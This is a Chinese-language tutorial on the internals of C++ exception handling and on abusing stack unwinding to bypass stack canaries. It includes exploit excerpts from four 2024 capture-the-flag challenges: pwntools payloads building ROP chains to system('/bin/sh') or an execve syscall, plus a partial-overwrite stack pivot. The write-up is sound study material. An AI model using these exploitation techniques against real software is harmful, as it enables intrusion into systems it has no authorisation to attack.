C++异常处理的分析及攻击
字数 1353 2025-08-24 07:48:23
C++异常处理机制分析与攻击利用
一、C++异常处理基础
1. 异常处理核心概念
C++异常处理机制基于三个关键字:
- throw:当问题出现时,程序通过throw关键字抛出异常
- try:标识将被激活的特定代码块,后面通常跟着一个或多个catch块
- catch:用于捕获异常,可以有多个catch进行不同类型的异常捕获
2. 异常处理流程
- 当异常被抛出时,首先检查throw是否在try块内部
- 如果是,则查找匹配的catch语句
- 如果没有匹配的catch,则退出当前函数栈,在调用函数的栈中进行查找
- 如果到达main函数栈仍无匹配,程序终止
- 找到匹配的catch处理后,继续执行catch块后的代码
二、异常处理底层实现
1. 主要函数调用链
__cxa_allocate_exception:分配异常对象__cxa_throw:初始化异常对象_Unwind_RaiseException:开始栈展开(unwind)personality routine:栈展开时的回调函数
2. 关键函数分析
_Unwind_RaiseException()
_Unwind_RaiseException(exception) {
bool found = false;
while(1) {
context = build_context();
if(!context) break;
found = personality_routine(exception, context, SEARCH);
if(found or reach the end) break;
}
while(found) {
context = build_context();
if(!context) break;
personality_routine(exception, context, UNWIND);
if(reach_catch_function) break;
}
}
__cxa_throw()
void __cxxabiv1::__cxa_throw(void* obj, std::type_info* tinfo,
void(*dest)(void*)) {
// 初始化异常头信息
__cxa_refcounted_exception* header = __get_refcounted_exception_header_from_obj(obj);
header->referenceCount = 1;
header->exc.exceptionType = tinfo;
header->exc.exceptionDestructor = dest;
header->exc.unexpectedHandler = std::get_unexpected();
header->exc.terminateHandler = std::get_terminate();
// 调用栈展开
_Unwind_RaiseException(&header->exc.unwindHeader);
// 如果栈展开失败
__cxa_begin_catch(&header->exc.unwindHeader);
std::terminate();
}
__Unwind_Resume()
用于在异常被捕获处理后继续异常的传播,在一个catch块处理完异常后被调用。
三、异常处理的安全问题
1. 绕过Canary保护
通过异常处理可以绕过Canary检查,因为异常处理会直接结束函数调用而不执行常规的栈检查。
2. 攻击利用思路
- 覆盖函数的返回地址为自身或其他catch块头部
- 利用异常处理绕过Canary检查
- 构造ROP链实现攻击
四、实战案例分析
案例1: beginctf2024 mini_email
利用要点:
- 异常处理结束后直接结束函数调用,绕过Canary检测
- 覆盖edit函数的返回地址为自身
- vuln的返回地址构造为ROP链
- exit后执行ROP链
EXP关键部分:
payload = b'a'*0x128 + p64(0x402ee3) + b'a'*0x20 + p64(puts_got)
payload += p64(mov_rax_ret) + p64(pop_rdx) + p64(puts_plt)
payload += p64(mov_rdi_rax) + p64(ret) + p64(main_addr)
案例2: DASCTF X GFCTF 2024 exception
利用要点:
- 必须将vuln返回地址覆盖为特定地址(pie+0x1408)才能找到catch块
- 控制rbp值使mov rcx, [rbp+var_18]刚好为canary
- 覆盖main的返回地址为ROP链
EXP关键部分:
payload = b'a'*0x68 + p64(canary) + p64(stack + 0xa0)
payload += p64(pie + 0x1408) + b'a'*8 + p64(canary)
payload += b'a'*0x18 + p64(pop_rdi) + p64(binsh)
payload += p64(ret) + p64(system)
案例3: DASCTF X GFCTF 2024 control
利用要点:
- 返回地址必须为0x402237才能正确找到catch块
- 利用bss段存储/bin/sh字符串
- 部分覆盖rbp值实现栈迁移
- 1/16爆破成功率
EXP关键部分:
payload = p64(pop_rdi) + p64(0x4d3350) + p64(pop_rsi) + p64(0)
payload += p64(pop_rax) + p64(0x3b) + p64(syscall)
payload = payload.ljust(0x70, b'a') + b'\xe8\xdd'
案例4: 羊城杯2024 logger
利用要点:
- trace函数漏洞可覆盖src内容
- warn函数将exception指向src
- backdoor函数中rax寄存器正好是exception指针
- 构造ROP实现攻击
EXP关键部分:
# 填充日志记录
for i in range(8):
p.sendlineafter(menu, str(1))
p.sendafter("You can record log details here: ", b'a'*0x10)
p.sendlineafter("Do you need to check the records? ", 'n')
# 写入/bin/sh
p.sendlineafter(menu, str(1))
p.sendafter("You can record log details here: ", '/bin/sh\x00')
p.sendlineafter("Do you need to check the records? ", 'n')
# 触发异常
p.sendlineafter("Your chocie:", "2")
payload = b"A"*0x70 + p64(bss + 0x800) + p64(0x401BC7) + cyclic(0x20)
p.sendlineafter("message", payload)
五、防御建议
- 避免在关键函数中使用异常处理
- 严格控制异常处理中的内存操作
- 对异常处理路径进行安全审计
- 使用现代编译器的安全特性(如CFI)
- 避免将用户可控数据用于异常处理
通过深入理解C++异常处理机制及其底层实现,安全研究人员可以更好地发现和利用相关漏洞,同时也能够更有效地防御此类攻击。